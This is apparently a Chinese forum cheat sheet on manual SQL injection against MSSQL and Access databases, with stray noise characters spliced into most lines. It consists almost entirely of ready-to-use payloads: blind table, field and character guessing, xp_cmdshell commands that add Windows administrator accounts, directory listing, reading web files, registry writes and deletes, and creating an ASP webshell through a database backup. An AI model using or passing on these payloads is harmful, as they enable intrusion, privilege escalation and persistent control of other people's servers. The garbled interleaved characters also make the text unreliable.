手工脚本注入
& a# S; N# y6 ~! R; T1.判断是否有注入;and 1=1 ;and 1=2
; y, c: g P% f8 U0 P; N5 ^2 H' z4 {" C
2.初步判断是否是mssql ;and user>0 & a2 c) E) K1 M( V, ?
0 x& j+ ]% _5 k6 h+ u0 K, |3 D. z3.注入参数是字符'and [查询条件] and ''=' % Z' `7 C! J. _4 E2 P
- T- W& H" t1 J* K2 C+ L3 U n0 J
4.搜索时没过滤参数的'and [查询条件] and '%25'=' 5 P* y3 S* E3 g: C( p2 j
* B8 q( `8 D7 y: R: s- k, f# l' q+ F2 A
5.判断数据库系统 : x' C& p" ]- l
;and (select count(*) from sysobjects)>0 mssql
0 a, @ L/ F: F- D" O;and (select count(*) from msysobjects)>0 access # r9 a7 x. f3 }1 d$ _- p
, y7 F. F+ j8 {4 f. _- Z* j* ~6.猜数据库 ;and (select Count(*) from [数据库名])>0 # b# O9 G% {% Q% F. g
0 I s) o. r* y7.猜字段 ;and (select Count(字段名) from 数据库名)>0
; B; F$ Z$ C5 I, V" _9 m6 @
& ^2 o% m( F# M" z8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 2 {/ l5 F8 O0 u2 K# g. X
: J: a: |0 M' K7 S2 @3 K' l6 ~9.(1)猜字段的ascii值(access)
/ _" Z u6 o; u( U;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
; T# J# u5 `; L) Z: j; i8 ]0 P* n9 g, k1 L; S- R6 [
(2)猜字段的ascii值(mssql)
5 y9 V% d5 S1 b;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 3 C0 x* H2 N+ V' v# e$ S
# K$ X4 J; V( c; j
10.测试权限结构(mssql) 6 Z, s8 P# J" }2 l
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
5 S" p/ C8 D1 o- w' o;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
: F. k' k+ Z$ U' x( Y3 C1 h7 w* J;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ; C8 W5 f9 n4 [. S* B" b6 O
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- & p; N; @5 w; d9 ~( l
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
/ n8 _6 x9 N: M* M/ d: ^' l$ ^" Q! k;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
6 W9 A. P1 D4 {! s;and 1=(select IS_MEMBER('db_owner'));-- 8 }* t2 t! h5 Y8 q5 K- B0 h4 A- W
: H! F+ c3 B7 s, W
11.添加mssql和系统的帐户 3 W, O( ?8 c/ g( I# ~- C
;exec master.dbo.sp_addlogin username;--
6 O/ Q# q* ?) T( [( R
9 R+ J7 x# x% S% s6 ^;exec master.dbo.sp_password null,username,password;--
2 x2 |' P8 K; l+ i H6 R5 [- w& l
2 T' `# B- v3 w9 p1 C5 T, s5 V) V;exec master.dbo.sp_addsrvrolemember sysadmin username;--
- K. k/ ~( @0 h/ x
% y" o( O1 y( N' }! u;exec master.dbo.xp_cmdshell 'net user username password
& F5 r$ J2 U+ r+ o! m/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- + c6 ?, k% V2 k: [" H/ A6 |8 w" |
1 O6 j) V0 ^# o/ ^;exec master.dbo.xp_cmdshell 'net user username password /add';--
& H7 h5 j9 B+ W$ N& ]4 }) C' \5 X. {! }) }0 Q
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
0 H7 K. \+ X: L' |& d4 y( @# x+ f1 Y5 F4 {/ q% w4 m
12.(1)遍历目录 / h0 d- Z% k& a0 ~4 z$ C1 Z
3 J, k! e# H) J; z& [: ]$ D1 a
;create table dirs(paths varchar(100), id int)
3 N3 Z$ {0 L0 F u' M;insert dirs exec master.dbo.xp_dirtree 'c:\'
! B, v3 |: X; L+ g. Y2 p;and (select top 1 paths from dirs)>0
0 G" x: S) ]& i5 W* s$ |" z;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
) ~) g4 x* j( T7 v% Q1 t. n) u5 t' A( h" y. U
(2)遍历目录 9 g: k. [1 A4 Y# T( h
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 2 n0 v$ {8 ]& `- O9 w
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 & z3 k5 h8 [: C4 d4 z5 H1 k
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 ! p3 s7 i! p; M" q" }6 E
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 ) s) Z& k2 w# } s, r& P
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ) ]1 U. y4 q) D2 k9 P6 @: ?
" V: k3 q' e" F9 F13.mssql中的存储过程
* ~+ j3 T) i3 A) g$ G1 x4 A7 c o. ^7 m+ d' W! U. r7 P" s( \% v
xp_regenumvalues 注册表根键, 子键
& n8 x( j" a H;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 : o) U) s* p n6 }
' g( i3 d! {4 s- p8 W0 `, f' Exp_regread 根键,子键,键值名
/ _$ {7 w& ^. y+ ?7 X# H;exec xp_regread 2 w- i6 _& ?/ O% y( Q
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
$ \4 D+ d r- c j1 ^* J
' H, j) q1 u# S) b; xxp_regwrite 根键,子键, 值名, 值类型, 值 : d V3 ]& a! p: R2 I
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
. Y' K$ g. J& I" i;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
! h$ {; r& Z# \+ T9 c' q0 R. o9 x+ v
5 L* I0 W" u5 L }xp_regdeletevalue 根键,子键,值名
# P% t; ^3 b$ z% L- w. i7 n7 k+ z7 J$ g, @
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
/ m4 Y/ L1 V" m9 I9 c- M, F5 H6 V
# f; m2 U# _9 C) y xxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 0 d" N1 |8 X9 r o1 v5 ]
3 a# Q+ H; U2 D8 e2 `14.mssql的backup创建webshell ! g- h4 d6 G, X8 j+ q, h
use model
6 Z/ J3 b+ e( L/ xcreate table cmd(str image);
+ c& U7 q' x3 x, V8 m/ z! Uinsert into cmd(str) values ('');
! H) {$ L# Z+ z2 v- C- l: Obackup database model to disk='c:\l.asp';
8 b) u1 R5 f& X+ Y6 }, W g# }8 H9 `% r& M; R
15.mssql内置函数 2 f; m2 S- L% p$ n- p( F! j
;and (select @@version)>0 获得Windows的版本号
; J8 `& J3 K ?- ?' _, p( H5 F4 _1 v! f;and user_name()='dbo' 判断当前系统的连接用户是不是sa % D+ D! M% k! p, D/ Q
;and (select user_name())>0 爆当前系统的连接用户 : m& |$ h9 s3 X/ y
;and (select db_name())>0 得到当前连接的数据库
7 d/ m8 r( G" M- C% E6 I& H* r# T$ ^
16.简洁的webshell 1 v- c8 u6 Y" u! i, s! b
$ K' K# X" ]: Y$ o5 R' S3 O n
use model 1 X4 Y+ D1 Y8 f* @# `- W
$ r2 v% n+ _4 K& o
create table cmd(str image); 8 k7 c* \, @/ g) Z# x0 {- [
5 f: [1 g6 Y$ o* \ _/ \insert into cmd(str) values ('');
9 n) h, k, K! A4 {0 P# B/ j
8 T2 a3 Q( |3 x; z! I$ b/ N) Tbackup database model to disk='g:\wwwtest\l.asp';
. d: ~5 Z, G! N9 _/ `, S
7 f8 q1 f }' c' t- l* w u |